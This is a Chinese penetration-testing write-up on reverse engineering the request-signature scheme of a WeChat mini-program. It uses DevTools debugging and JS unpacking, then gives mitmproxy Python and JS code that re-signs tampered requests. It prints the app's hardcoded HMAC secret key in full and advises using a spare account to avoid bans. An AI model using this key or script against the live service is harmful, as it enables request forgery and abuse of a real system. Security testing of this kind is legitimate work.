小程序sign逆向和渗透两种思路,总有一款适合你
字数 1096 2025-08-20 18:18:04

小程序Sign逆向分析与渗透测试技术指南

0x01 Sign发现与排查思路

初始发现

  • 修改数据重新发包后显示"系统异常",而非正常的"code无效"响应
  • 怀疑signature字段是签名校验的关键参数

排查方法

  1. 依次修改请求头中的每个参数值并重新发送请求
  2. 观察哪些参数修改会导致响应变为"系统异常"
  3. 确定以下四个参数影响签名校验:
    • busi-timestamp:时间戳
    • busi-noncestr:随机字符串
    • busi-appid:应用ID
    • JSON请求体

0x02 使用微信DevTools进行Debug分析

准备工作

  • 工具WeChatOpenDevTools-Python
  • 风险提示:此方法可能违反微信使用条款,建议使用微信小号操作,避免使用虚拟机

操作步骤

  1. 执行命令打开DevTools:
    WechatOpenDevTools-Python.exe -x
    
  2. 在Sources面板搜索busi-signature:
  3. 注意:需要触发对应功能才能加载相关JS文件

签名算法分析

  1. busi-signature值由函数计算得出
  2. 签名算法关键要素:
    • 密钥:GZR3qIxxx(通过调试获取)
    • 输入值e由四部分组成:
      • 请求体的JSON参数
      • 请求头中的时间戳
      • 请求头中的noncestr
      • 请求地址
    • 各部分用\n拼接

0x03 通过还原JS硬逆向分析

工具准备

  • wxapkg解包工具wxapkg
  • 使用命令扫描和解包:
    wxapkg.exe scan
    

签名算法逆向分析

  1. 全局搜索busi-signature:定位关键函数
  2. 签名计算函数:encryptWithHmacSHA1
  3. 密钥r的生成逻辑:
    r = "".concat(c.k1).concat(l.k2).concat(f.k3.slice(2)).concat(c.k4)
    
  4. 通过模块分析找到各组件:
    • c.k1c.k4:在模块39中定义
    • l.k2:直接搜索k2 =定位
    • f.k3:直接搜索k3 =定位
  5. 最终密钥:GZR3qIBe^lC@I!KpkyBtEg$&@0UncJpr

签名输入值构造

  • GET请求:
    (s || "") + "\n" + d + "\n" + y + "\na671602347467\n" + 
    (t.url.includes("?") ? t.url.split("?")[0] : t.url) + "\n"
    
  • POST请求:
    (JSON.stringify(t.data) || "") + "\n" + d + "\n" + y + 
    "\na671602347467\n" + (t.url.includes("?") ? t.url.split("?")[0] : t.url) + "\n"
    

0x04 利用方法(Mitmproxy实现)

Python代码(mitm_sign.py)

import time
import execjs

def request(flow):
    if flow.request.method == "POST":
        with open('exec.js', 'r', encoding='utf-8') as f:
            js_file = f.read()
        js_exec = execjs.compile(js_file)

        try:
            json_data = flow.request.json()
        except Exception as e:
            json_data = ''
        
        url = str(flow.request.path).split('?')[0]
        noncestr = flow.request.headers.get('busi-nonceStr','')
        now_time = int(time.time())

        sign = js_exec.call('get_sign',url,json_data,noncestr,now_time)

        flow.request.urlencoded_form['busi-timeStamp'] = now_time
        flow.request.urlencoded_form['busi-signature'] = sign

JS代码(exec.js)

const crypto = require('crypto');

secretKey = 'GZR3qIBe^lC@I!KpkyBtEg$&@0UncJpr'
function get_sign(url,jsondata,noncestr,now_time){
    e = jsondata
        +'\n'+now_time
        + '\n'+noncestr
        + '\na671602347467'
        + '\n'+url
        + '\n'
    const hmac = crypto.createHmac('sha1', secretKey);
    hmac.update(e)
    sign = hmac.digest("hex")
    return sign
}

执行命令

mitmproxy.exe -p 8081 -s .\mitm_sign.py

0x05 技术总结与注意事项

  1. 两种方法对比

    • DevTools调试:简单直接但存在封号风险
    • JS硬逆向:安全但技术要求较高
  2. 签名算法特点

    • 使用HMAC-SHA1算法
    • 密钥为固定字符串拼接
    • 输入值包含请求体、时间戳、随机字符串和URL
  3. 安全建议

    • 小程序开发者应避免将密钥硬编码在客户端
    • 考虑使用动态密钥或服务端签名方案
    • 对关键业务逻辑增加多重验证机制
  4. 扩展思考

    • 类似方法可应用于其他小程序平台的分析
    • 对于非微信平台的小程序,需要探索其他调试方法
小程序Sign逆向分析与渗透测试技术指南 0x01 Sign发现与排查思路 初始发现 修改数据重新发包后显示"系统异常",而非正常的"code无效"响应 怀疑 signature 字段是签名校验的关键参数 排查方法 依次修改请求头中的每个参数值并重新发送请求 观察哪些参数修改会导致响应变为"系统异常" 确定以下四个参数影响签名校验: busi-timestamp :时间戳 busi-noncestr :随机字符串 busi-appid :应用ID JSON请求体 0x02 使用微信DevTools进行Debug分析 准备工作 工具 : WeChatOpenDevTools-Python 风险提示 :此方法可能违反微信使用条款,建议使用微信小号操作,避免使用虚拟机 操作步骤 执行命令打开DevTools: 在Sources面板搜索 busi-signature: 注意:需要触发对应功能才能加载相关JS文件 签名算法分析 busi-signature 值由函数计算得出 签名算法关键要素: 密钥: GZR3qIxxx (通过调试获取) 输入值 e 由四部分组成: 请求体的JSON参数 请求头中的时间戳 请求头中的noncestr 请求地址 各部分用 \n 拼接 0x03 通过还原JS硬逆向分析 工具准备 wxapkg解包工具 : wxapkg 使用命令扫描和解包: 签名算法逆向分析 全局搜索 busi-signature: 定位关键函数 签名计算函数: encryptWithHmacSHA1 密钥 r 的生成逻辑: 通过模块分析找到各组件: c.k1 和 c.k4 :在模块39中定义 l.k2 :直接搜索 k2 = 定位 f.k3 :直接搜索 k3 = 定位 最终密钥: GZR3qIBe^lC@I!KpkyBtEg$&@0UncJpr 签名输入值构造 GET请求: POST请求: 0x04 利用方法(Mitmproxy实现) Python代码(mitm_ sign.py) JS代码(exec.js) 执行命令 0x05 技术总结与注意事项 两种方法对比 : DevTools调试:简单直接但存在封号风险 JS硬逆向:安全但技术要求较高 签名算法特点 : 使用HMAC-SHA1算法 密钥为固定字符串拼接 输入值包含请求体、时间戳、随机字符串和URL 安全建议 : 小程序开发者应避免将密钥硬编码在客户端 考虑使用动态密钥或服务端签名方案 对关键业务逻辑增加多重验证机制 扩展思考 : 类似方法可应用于其他小程序平台的分析 对于非微信平台的小程序,需要探索其他调试方法